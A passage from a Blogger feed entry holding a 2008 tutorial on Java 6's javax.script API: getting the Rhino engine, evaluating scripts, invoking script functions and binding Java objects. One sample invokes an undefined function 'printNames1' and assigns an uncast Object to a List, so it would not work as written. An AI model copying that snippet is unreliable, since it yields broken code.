scriptEngineMgr = new ScriptEngineManager();  &lt;br /&gt;ScriptEngine myEngine = scriptEngineMgr.getEngineByName( "rhino" ); &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The above code instantiates a ScriptEngineManager and then queries it to get the “Rhino” JavaScript engine(“rhino” engine comes bundled with the java 6 distribution). The retrieved ScriptEngine is now ready to execute your script. There are various methods exposed by the ScriptEngine class to execute your script. You can execute scripts stored in normal Java string or you can provide a handle of your script file stream to execute.&lt;br /&gt;&lt;br /&gt;The javax.script package also provides methods for calling procedures defined in the script. The Invocable interface helps you achieve this. The code below invokes the function printHelloWorld.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; myEngine.eval("function printHelloWorld() {" +"print('Hello, world!');" +"}"); &lt;br /&gt;Invocable invocable = (Invocable) myEngine; &lt;br /&gt;invocable.invokeFunction("printHelloWorld"); &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-weight: bold; "&gt;Binding Java objects to ScriptEngine &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You can bind an Object created in your java program to the script that you want to execute. To bind a Java Object put it inside the ScriptEngine instance using a key-value pair. Inside the script you get access to the Object using the associated key.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;pre style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; myEngine.put("testList",namesList);  &lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;Now, the List namesList, can be accessed A Java Object can also be passed to a script function. The Invocable interface can be used to invoke a function in the script and pass arguments to the function from inside your java program. The code below invokes the method “sayHello” and passes a java.util.List to the method. Another method “addName” on being called, adds an element “Dana”, to the passed list.&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; Invocable invocable = (Invocable)myEngine;  &lt;br /&gt;myEngine.eval("function sayHello(namesList) {" + &lt;br /&gt;" var x;" + " var names = namesList.toArray();" + &lt;br /&gt;" for(x in names) {" + &lt;br /&gt;" println(names[x]);" + " }" + &lt;br /&gt;"}" + &lt;br /&gt;"function addName(namesList, name) {" + &lt;br /&gt;" namesList.add(name);" + &lt;br /&gt;" return namesList;}"); &lt;br /&gt;invocable.invokeFunction("printNames1", namesList); &lt;br /&gt;List modNamesList = invocable.invokeFunction("addName", namesList, "Dana"); &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The “eval” method of the ScriptEngine class returns an Object. This Object is the one that was returned by the called function. For e.g., the method “addName” returns the list “namesList”. The returned Object can then be typecast to the expected returned type.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; "&gt;Scripting Engines currently supported&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There are a wide range of Script Engines that currently comply with jsr-223. To name a few, it supports Rhino (JavaScript), Groovy, OGNL, Jython, JRuby and JAWK. There are many others which programmers can choose from. The full list of the supported Scripting Engines can be found &lt;a href="https://scripting.dev.java.net/"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; "&gt;Conclusion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The article is written to highlight the new scripting API included in JAVA SE 6. The real usage of this API comes only with the effective use of Scripting languages in application development. The motive was just to make readers inquisitive on the topic.&lt;br /&gt;&lt;br /&gt;With the inclusion of scripting support, application development is going to get faster. But performance would still be something to look out for. The scripting engines are written in Java, so probably, they won’t be as fast as you would expect them to be.&lt;br /&gt;&lt;br /&gt;Another thing to watch for, would be type safety. Java has been popular as a strongly typed language. And with Generics in java 5.0, they took it to the next level. But with the scripting languages support (which are famous for being dynamically typed); is type safety of java being compromised?&lt;br /&gt;&lt;br /&gt;There are few questions that still are to be pondered upon and would come into sight only when the Tech titans debate on them after Mustang’s final release. But one thing is guaranteed; for all the aficionados of scripting, Java SE 6 is going make programming with Java, a little more interesting.&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-5422779429129104493?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/5422779429129104493/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/09/scripting-with-java-6.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/5422779429129104493?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/5422779429129104493?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/09/scripting-with-java-6.html' title='Scripting with Java 6'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry></feed>